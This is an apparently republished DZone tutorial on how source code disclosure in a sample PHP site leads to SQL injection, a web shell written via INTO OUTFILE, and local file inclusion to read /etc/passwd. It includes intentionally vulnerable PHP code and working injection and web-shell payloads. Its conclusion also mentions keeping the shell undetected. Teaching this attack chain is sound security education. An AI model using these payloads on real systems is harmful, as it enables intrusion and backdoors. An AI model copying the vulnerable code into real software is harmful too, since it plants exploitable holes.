Over a million developers have joined DZone.
{{announcement.body}}
{{announcement.title}}

Why Is Source Code Disclosure Dangerous?

DZone's Guide to

Why Is Source Code Disclosure Dangerous?

Disclosing your source code is all potential hackers need to discover logical flaws in the system and escalate them into a subsequent chain of attacks

Free Resource

Discover how to provide active runtime protection for your web applications from known and unknown vulnerabilities including Remote Code Execution Attacks.

Source code often contains some form of sensitive information-whether it be configuration related information (e.g. database credentials) or simply information on how the web application functions. If disclosed, such information can potentially be used by an attacker to discover logical flaws and escalate into a subsequent chain of attacks which would not be possible without having access to the application's source code. These may include attacks such as SQL injection, database takeovers, and remote code execution.

It is common practice for web applications to serve non-HTML files, such as PDFs, image files, and Word documents that are customized for a specific user.

Let's take the below example where we have a simple web application http://www.example.com/. This web application is intended to allow users to download a PDF file through a hyperlink.

If we take a closer look, following the link makes an HTTP GET request to a download.php script which makes use of the filename parameter.

More specifically, the following request is sent when the link is clicked: http://www.example.com/download.php?filename=aboutus.pdf

Knowing this, we can take a closer look at the the filename parameter since it seems that the download.php script is designed to allow users to download a specific file from the server. Therefore, what would happen if we sent a request to download.php, passing 'download.php' as the value for the filename parameter instead of 'aboutus.pdf'? The resulting URL would look as follows: http://www.example.com/download.php?filename=download.php

After sending the request, the file download.php is served to the browser, effectively revealing the source code of download.php and by looking through the source code, it's evident that this occurred because the script is performing absolutely no user input validation.

Warning - The following code is intentionally vulnerable and should never be used in real projects.

<?php

// Import global config values
include('admin/config.php');

// Get the filename passed by the user
$filepath = $_GET['filename'];

if ($filepath) {
    $connection = mysql_connect($cfg['DATABASE']['HOST'], $cfg['DATABASE']['UNAME'], $cfg['DATABASE']['PASS']);

    mysql_select_db('logs', $connection);

    if (!link) {
        die('Could not connect: ' . mysql_error());
    }

    $user_agent = $_SERVER['HTTP_USER_AGENT'];

    // Used by stats.php to track download trends
    $sql = "INSERT INTO stats VALUES ('$filepath', now(), '$user_agent')";

    $result = mysql_query($sql, $connection);

    if (!$result) {
        echo 'DB Error: ' . mysql_error($connection);
        exit;
    }

    // Clean-up and send file
    mysql_close($connection);
    header('Content-Disposition: attachment; filename=' . basename($filepath));
    readfile($filepath);
}

Escalating the Attack Further

The contents of download.php reveal more information that was not available without having access to the source code. By taking a closer look, we can see an interesting comment, "Used by stats.php to track download trends," as well as an include directive to admin/config.php.

We can use this information to pivot our way through the application directory and gain more information prior to escalating our attack. Using our source-code disclosure vulnerability let's try fetching these two new files, starting with admin/config.php: 

http://www.example.com/download.php?filename=admin/config.php

<?php

$cfg['TITLE'] = 'Vulnerable Host';

$cfg['BASE_URL'] = 'http://www.example.com/';

$cfg['DATABASE']['TYPE'] = 'mysql';
$cfg['DATABASE']['HOST'] = 'localhost';
$cfg['DATABASE']['UNAME'] = 'root';
$cfg['DATABASE']['PASS'] = 'toor';

admin/config.php gives us some interesting overall information. We now know that the database is hosted on the same server hosting the web application and is running MySQL on localhost. We are not able to connect to it as it does not accept any external connections. That said, the information may still be useful to have later on.

Moving on to the second file, stats.php –

http://www.example.com/download.php?filename=stats.php

Image title

<?php

// Import global config values
include('admin/config.php');

print '<table style="width:100%">';
print '<tr><th>Available Files</th>';
print '<tr><td><a href=' . $cfg['BASE_URL'] . 'stats.php?filename=aboutus.pdf>About Us (PDF)</a></td>';
print '<tr><td><a href=' . $cfg['BASE_URL'] . 'stats.php?filename=pricing.html>Pricing (HTML)</a></td>';
print '<tr><td><a href=' . $cfg['BASE_URL'] . 'stats.php?filename=services.pdf>Services (PDF)</a></td>';
print '</table>';

print '<br>'; print '<br>';

$filepath = $_GET['filename'];

if ($filepath) {

    // Import the user-specified file
    include($filepath);

    $connection = mysql_connect($cfg['DATABASE']['HOST'], $cfg['DATABASE']['UNAME'], $cfg['DATABASE']['PASS']);

    mysql_select_db('logs', $connection);

    if (!link) {
        die('Could not connect: ' . mysql_error());
    }

    $sql = "SELECT * FROM stats WHERE filename = '$filepath'";

    $result = mysql_query($sql, $connection) or die(mysql_error());

    print '<table style="width:100%; border: 1px solid black; text-align: left;">';
    print '<tr><th>Filename</th><th>Timestamp</th><th>User-Agent String</th></tr>';

    while ($row = mysql_fetch_assoc($result)) {
        print "<tr>";
        foreach ($row as $column => $value) {
            print "<td style='text-align: left;'>$value</td>";
        }
        print "</tr>";
    }

    print '</table>';
}

The stats.php file exposes some more interesting information that provides us with the history of all downloads made on a particular set of files. What's more interesting is that these logs are fetched directly from the same tables that are inserted into download.php which hints that there may be a SQL Injection vulnerability.

SQL Injection

Previously, we obtained some valuable information from the config.php file thanks to the source-code disclosure vulnerability, in that the database is running MySQL. This allows us to fabricate SQL Injection attacks catered towards MySQL without needing to guess the DBMS.

First, let's try fetching the version of MySQL with the following payload:

Note: All of the payloads need to be a URL encoded to a function. For the purpose of the article, all payloads are left decoded to be easier to read and understand.

http://www.example.com/stats.php?filename=' UNION SELECT @@version, null, null#

Looks like the server is running Ubuntu 14.04.1 and MySQL 5.5.49. Let's leverage this and try to drop a web shell into the server by using MySQL's SELECT ... INTO OUTFILE ... statement.

We want to drop the web shell in an unrestricted part of the server's file system which is easy to access. In this case, since it is running Ubuntu 14.04.1 we can try dropping the file under /tmp/ which does not hold any user restrictions.

Note: Another cool feature of having the web shell deployed under /tmp/ is the fact that it normally gets wiped via a daily process. This allows us to temporarily deploy our web shell and copy it over to a more permanent location whilst the original copy eventually gets wiped out automatically.

The statement we are looking to achieve is:

SELECT * FROM stats WHERE filename = '' UNION SELECT '<?php system($_GET["cmd"]); ?>', '', '' INTO OUTFILE '/tmp/cmd.php';#

Making sure that the filename parameter is empty (or non-existent) ensures that no other data is outputted to our web shell named cmd.php. We then extend the query provided by stats.php by using a UNION directive into our SELECT ... INTO OUTFILE ... directive which will essentially allow us to write a string of text out to the server's file system.

You may be noticing the following -  SELECT 'code', ", " - and wondering why there are two additional empty strings. This is because the left-most SELECT statement returns three columns - Filename, Timestamp, and User-Agent String. Thus we must make sure that the UNION SELECT matches the number of columns as well.

With this in mind, let's fabricate our new request that will allow us to write our malicious file into the system:

http://www.example.com/stats.php?filename=' UNION SELECT '<?php echo(system($_GET["cmd"])); ?>', '', '' INTO OUTFILE 'cmd.php';#

Sending the request did not return any value to the web page which is a good sign as this indicates that the output has been successfully written, however, we would still need to verify this.

Explaining Web Shell

In our fabricated request we saw the following piece of code being written to our web shell, cmd.php:

Effectively, this is a very simple PHP web shell that allows us to invoke the file whilst passing in a system command through a GET parameter (e.g. ?cmd=whoami). This effectively allows us to run a number of commands with adequate privileges and print the message out to standard output (stdout) for us to read.

The Last Step

Since we decided to deploy the web shell under /tmp/, we have to figure a way out to not only access (read) but also invoke that cmd.php file. With our download.php file we could easily exploit a Directory Traversal (read-only) but we need to take it a step further and exploit a Local File Inclusion vulnerability in order for us to be able to invoke the web shell.

Taking a look at all of the source code we have extracted so far, there are three instances where the include directive is used:

download.php  (Line: 4) - include('admin/config.php')
stats.php  (Line: 4) - include('admin/config.php')
 (Line: 20) - include($filepath)

Instead, let's try leveraging stats.php to locate our cmd.php file and see if we can list the server's /etc/passwd file command against it. If it works, we would have gained a persistent backdoor on the web server allowing us to remotely run commands on the server unauthenticated.

That said, let's take a look at our latest request:

http://www.example.com/stats.php?filename=../../../../../../../../../../../../../../tmp/cmd.php&cmd=cat /etc/passwd

We first move a few directories up (removing a few ../ generally won't hurt) and accessing our cmd.php file directly.

Notice how the cmd parameter is being appended to stats.php and not cmd.php (even though cmd.php is the one that uses $_GET['cmd']). This is because cmd.php is being included into stats.php and inheriting the superglobal $_GET variable.

There is the response returned back to us. Looks like we have been able to execute the command and print the contents of the command to the web page for us to view.

Recommendation

Being able to discover all of the above vulnerabilities in such a series of steps would require a lot of time and effort. In our example, we have discovered and exploited the following vulnerabilities:

  • Source Code Disclosure
  • SQL Injection
  • Local File Inclusion

This took a series of long steps to analyze and escalate with the chance of missing some other vulnerabilities (e.g. Cross-site Scripting) in the process.

Conclusion

Gaining a persistent backdoor is lethal but we must make sure that the web shell itself remains undetected.

As we have seen throughout this example, a simple source code disclosure led us, step-by-step, over to SQL Injection to drop our web shell and Local File Inclusion to invoke our web shell to run commands remotely. Another step may be to patch the vulnerabilities so that other attackers cannot use nor discover the same vulnerabilities that we used.

Find out how Waratek’s award-winning application security platform can improve the security of your new and legacy applications and platforms with no false positives, code changes or slowing your application.

Topics:
security ,source code ,sql injection ,cross-site scripting ,secure code

Published at DZone with permission of

Opinions expressed by DZone contributors are their own.

{{ parent.title || parent.header.title}}

{{ parent.tldr }}

{{ parent.urlSource.name }}